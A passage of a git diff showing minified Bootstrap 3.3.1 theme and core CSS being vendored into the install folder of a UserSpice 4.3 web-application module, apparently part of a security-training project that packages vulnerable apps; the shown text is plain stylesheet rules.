-15px}.btn-success:active,.btn-success.active{background-color:#419641;border-color:#3e8f3e}.btn-success:disabled,.btn-success[disabled]{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:hover,.btn-info:focus{background-color:#2aabd2;background-position:0 -15px}.btn-info:active,.btn-info.active{background-color:#2aabd2;border-color:#28a4c9}.btn-info:disabled,.btn-info[disabled]{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:hover,.btn-warning:focus{background-color:#eb9316;background-position:0 -15px}.btn-warning:active,.btn-warning.active{background-color:#eb9316;border-color:#e38d13}.btn-warning:disabled,.btn-warning[disabled]{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:hover,.btn-danger:focus{background-color:#c12e2a;background-position:0 -15px}.btn-danger:active,.btn-danger.active{background-color:#c12e2a;border-color:#b92c28}.btn-danger:disabled,.btn-danger[disabled]{background-color:#c12e2a;background-image:none}.thumbnail,.img-thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.active>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.active>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-static-top,.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:hover .badge,.list-group-item.active:focus .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)} \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap.min.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap.min.css new file mode 100644 index 000000000..b6fe4e0fb --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap.min.css @@ -0,0 +1,5 @@ +/*! + * Bootstrap v3.3.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.2 | MIT License | git.io/normalize */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:before,:after{color:#000!important;text-shadow:none!important;background:transparent!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%!important}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered th,.table-bordered td{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-euro:before,.glyphicon-eur:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica 